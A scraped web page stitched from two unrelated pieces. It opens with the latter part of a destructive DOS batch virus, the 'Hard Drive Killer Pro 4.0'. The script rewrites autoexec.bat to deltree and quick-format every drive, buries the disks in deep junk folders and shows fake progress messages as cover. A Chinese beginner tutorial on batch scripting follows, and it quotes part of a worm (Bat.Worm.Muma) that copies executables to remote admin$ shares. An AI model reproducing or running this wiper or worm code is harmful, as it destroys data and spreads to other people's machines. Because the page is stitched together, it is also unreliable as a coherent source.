    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

    echo cd/ >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

    echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

    echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

    echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

    echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

    echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

    echo echo. >>c:/autoexec.bat

    echo echo Regards, >>c:/autoexec.bat

    echo echo. >>c:/autoexec.bat

    echo echo Munga Bunga >>c:/autoexec.bat

    call attrib +r +h c:/autoexec.bat

    :makedir

    if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

    echo @echo off >c:/temp.bat

    echo %%1:/ >>c:/temp.bat

    echo cd/ >>c:/temp.bat

    echo :startmd >>c:/temp.bat

    echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

    echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

    echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/% 
    %2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

    call attrib +r +h c:/temp.bat >nul

    cls

    echo Initializing Variables . . .

    rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

    for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

    call attrib +r +h c:/temp.bat >nul

    call attrib +r +h c:/autoexec.bat >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    echo Initializing Application . . .

    for %%a in (%drive%) call deltree /y %%a:/*. >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    echo Initializing Application . . .

    echo Starting Application . . .

    for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

    cls

    echo Thank you for using a Munga Bunga product.

    echo.

    echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

    echo.

    echo Here is a joke for you . . .

    echo.

    echo Q). Whats the worst thing about being an egg?

    echo A). You only get laid once.

    echo.

    echo HAHAHAHA, get it? Dont you just love that one?

    echo.

    echo Regards,

    echo.

    echo Munga Bunga

    :end

    rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

    rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

    No.7

    七、致谢 & 一些废话

    谨以此文献给所有为实现网络的自由与共享而努力的朋友们。感谢所有共享他们作品的朋友们,让我们为我们的理想一起努力!!

    批处理相关知识 -1

    批处理相关知识

    这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话: 
    如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥 
    远,而有些很遥远的东西却又突然回到了眼前。

    先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的 ---- 众多高手们也都没给出 ---- 反正我不知道 ---- 看了我也不一定信服 ---- 我 
    是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以 
    干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了 ---- 我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么 
    拽,就是这么没理由,就是这么不要脸!真的!

    按照我的理解,批处理的本质,是一堆 DOS 命令按一定顺序排列而形成的集合。

    OK,never claver and get to business (闲话少说言归正传)。批处理,也称为批处理脚本,英文译为 BATCH ,批处理文件后缀 BAT 就取的前三个字母。它的构成 
    没有固定格式,只要遵守以下这条就 ok 了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是 DOS 。批 
    处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就 
    是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不 
    知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理, DOS 基础一定要牢!当然脑子灵活也是很重要 
    的一方面。

    例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为 name.bat 然后执行(以后文中只给出代码,保存和执行方式类似):

    ping sz.tencent.com > a.txt

    ping sz1.tencent.com >> a.txt

    ping sz2.tencent.com >> a.txt

    ping sz3.tencent.com >> a.txt

    ping sz4.tencent.com >> a.txt

    ping sz5.tencent.com >> a.txt

    ping sz6.tencent.com >> a.txt

    ping sz7.tencent.com >> a.txt

    exit

    是不是都能看的懂?是不是很 easy ?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为 a.txt 的文件,它里面记录的信息可以帮助你 
    迅速找到速度最快的 QQ 服务器,从而远离“从服务器中转”那一痛苦的过程。这里 > 的意思,是把前面命令得到的东西放到后面所给的地方, >> 的作用,和 > 的相 
    同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个 a.txt 文件越来越大(想到如何搞破坏了? 
    ?)。 By the way ,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器 IP ,是不是很爽?后面还将详细 
    介绍。

    例二、再给出一个已经过时的例子( a.bat ):

    @echo off

    if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif

    a.bat

    为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的 QQ 了( KAO ,我的 QQ 还显示好友三围呢!!),所以它几乎用不上了。但曾经它的 
    作用是不可小窥的:删除 QQ 的广告,让对话框干干净净。这里用的地址是 QQ 的默认安装地址,默认批处理文件名为 a.bat ,你当然可以根据情况自行修改。在这个脚 
    本中使用了 if 命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的 DOS 窗口,不按 CTRL+C 强行终止命令,它就一直监视是否有广告 
    图片( QQ 也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

    例三,使用批处理脚本查是否中冰河。脚本内容如下:

    @echo off

    netstat -a -n > a.txt

    type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"

    del a.txt

    pause & exit

    这里利用了 netstat 命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很 easy 的判断出来是否被人种了冰河。然这不是确定的,因为冰 
    河默认的端口 7626 ,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参 
    数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令 && 和管道命令 | ,后面将详细介绍。

    例四,借批处理自动清除系统垃圾,脚本如下:

    @echo off

    if exist c:/windows/temp/*.* del c:/windows/temp/*.*

    if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.*

    if exist c:/windows/History/*.* del c:/windows/History/*.*

    if exist c:/windows/recent/*.* del c:/windows/recent/*.*

    将以上脚本内容保存到 autoexec.bat 里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、 DOS 不支持长文件名,所以就出现了 Tempor~1 这个东 
    东;二、可根据自己的实际情况进行改动,使其符合自己的要求。

    怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和 
    幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话, I 服了 YOU !继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道), 
    但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。

    为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释 
    不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了 = 没说,但用地球人都知道的爱情一比喻(爱情是什么?我 ** 怎么知道!!),没准你心里一下 
    就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就 
    全当买狗皮膏药了,完全可以省略不看(也许还真有点效果 ---- 不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过 
    、张无忌等金老前辈笔下的英雄们。

    看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只 
    有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为, 
    没有达不到的境界!

    批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定 
    得到你想要的结果,也许是一屏幕的 Bad command or fail name 。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的 
    朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是 Bad command or fail name ,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运 
    行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。

    从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见 DOS 命令在批处理脚本中有这广泛的应用,它们是批处理脚本的 BODY 部分,但批处理比 DOS 更灵 
    活多样,更具备自动化。要学好批处理, DOS 一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的 DOS 命令,常用命令如 COPY 、 DIR 等就不做介绍了 
    (这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。

    例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编 
    程序( MASM )的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个 
    过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

    @echo off

    ::close echo

    cls

    ::clean screen

    echo This programme is to make the MASM programme automate

    ::display info

    echo Edit by CODERED

    ::display info

    echo Mailto me : qqkiller***@sina.com

    ::display info

    if "%1"=="" goto usage

    ::if input without paramater goto usage

    if "%1"=="/?" goto usage

    ::if paramater is "/?" goto usage

    if "%1"=="help" goto usage

    ::if paramater is "help" goto usage

    pause

    ::pause to see usage

    masm %1.asm

    ::assemble the .asm code

    if errorlevel 1 pause & edit %1.asm

    ::if error pause to see error msg and edit the code

    link %1.obj & %1

    ::else link the .obj file and execute the .exe file

    :usage

    ::set usage

    echo Usage: This BAT file name [asm file name]

    echo Default BAT file name is START.BAT

    ::display usage

    先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容 
    解释的 E 文(害怕 E 文的朋友也不用担心,都很 easy ,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第 5 行行 
    首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中 masm 和 link 是汇编程序和连接程序,必须和 edit 程序以及你要编辑的源代码(当然还有这个脚 
    本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行 exe 文件的自 
    动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成 
    功,则进行连接,并在连接后自动执行生成的 exe 文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友 
    的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

    在这个脚本中出现了如下几个命令: @ 、 echo 、 :: 、 pause 、 : 和 goto 、 % 以及 if 。而这一章就将讲述这几个命令。

    1 、 @

    这个符号大家都不陌生, email 的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不 
    显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的 @echo off 中, @ 的作用 
    就是让脚本在执行时不显示后面的 echo off 部分。这下懂了吧?还是不太懂?没关系,看完 echo 命令简介,自然就懂了。

    2 、 echo

    中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了 echo on 和 echo off 两个命令了。直接执行 echo 
    命令将显示当前 echo 命令状态( off 或 on )执行 echo off 将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行 echo on 命令。在 
    例五中,首行的 @ 命令和 echo off 命令联合起来,达到了两个目的:不显示 echo off 命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的 
    话, 3 分钟包会,不会的退钱!

    echo 命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行, Default BAT file name is START.BAT 将在脚本执行后的窗口中显示,而 echo 命令本身 
    不显示(为什么??)。

    echo 命令的另一种用法二:可以直接编辑文本文件。例六:

    echo nbtstat -A 192.168.0.1 > a.bat

    echo nbtstat -A 192.168.0.2 >> a.bat

    echo nbtstat -A 192.168.0.3 >> a.bat

    以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个 a.bat 的文件,直接执行就会得到结果。

    3 、 ::

    这个命令的作用很简单,它是注释命令,在批处理脚本中和 rem 命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可 
    读性,和 C 语言中的 /* ………… */ 类似。地球人都能看懂,就不多说了。

    4 、 pause

    中文为“暂停”的意思(看看你的 workman 上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信 
    息:请按任意键继续 . . . 。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是 
    masm 程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

    5 、 : 和 goto

    为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。 goto 是个跳转命令, : 是一个标签。当程序运行到 goto 时,将 
    自动跳转到 : 定义的部分去执行了(是不是分不开?)。例五中倒数第 5 行行首出现一个 : ,则程序在运行到 goto 时就自动跳转到 : 标签定义的部分执行,结果是 
    显示脚本 usage ( usage 就是标签名称)。不难看出, goto 命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。 goto 命令也经常和 
    if 命令结合使用。至于这两个命令具体用法,参照例五。

    goto 命令的另一种用法一:提前结束程序。在程序中间使用 goto 命令跳转到某一标签,而这一标签的内容却定义为退出。如:

    ……

    goto end

    ……

    :end

    这里 :end 在脚本最后一行!其实这个例子很弱智,后面讲了 if 命令和组合命令你就知道了。

    6 、 %

    这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个 % 一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看 
    例五中有多少地方用到它?),少了它批处理的功能就减少了 51% 了。看看例七:

    net use //%1/ipc$ %3 /u:"%2"

    copy 11.BAT //%1/admin$/system32 /y

    copy 13.BAT //%1/admin$/system32 /y

    copy ipc2.BAT //%1/admin$/system32 /y

    copy NWZI.EXE //%1/admin$/system32 /y

    attrib //%1/admin$/system32/10.bat -r -h -s

    以上代码是 Bat.Worm.Muma 病毒中的一部分, %1 代表的 IP , 2% 代表的 username , 3% 代表 password 。执行形式为:脚本文件名 参数一 参数二 ……。假设 
    这个脚本被保存为 a.bat ,则执行形式如下: a IP username password 。这里 IP 、 username 、 password 是三个参数,缺一不可(因为程序不能正确运行,并不是 
    因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换 1% 、 2% 和 3% ,这样就达到了 
    灵活运用的目的(试想,如果在脚本中直接把 IP 、 username 和 password 都定义死,那么脚本的作用也就被固定了,但如果使用 % 的话,不同的参数可以达到不同的 
    目的,是不是更灵活?)。

    关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

    这一章就写到这里了。可能有朋友问了:怎么没介绍 if 命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐 
    怕也够消化的了。记住一句话: DOS 是批处理的 BODY ,任何一个 DOS 命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的 
    东西去写点带有自动化色彩的东东呢?很简单,就是一个 DOS 命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的 DOS 部分用批处理来自动化 
    完成了。

    烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自 
    己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。 
    我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几 
    千年前孔老夫子就说过“唯女子与小人,难养也”,真 ** 有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写 
    好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!

  • 相关阅读:
    IM,游戏服务端 tcp 框架整理
    IronPython初体验和实战集合等类型转换和类型匹配
    C# 控件包
    ORM框架系列
    C# Excel或表格插件
    vue之修饰符
    vue之单表输入绑定
    vue之计算属性和侦听器
    vue之指令系统
    vue之用法
  • 原文地址:https://www.cnblogs.com/YangGC/p/6380216.html
Copyright © 2011-2022 走看看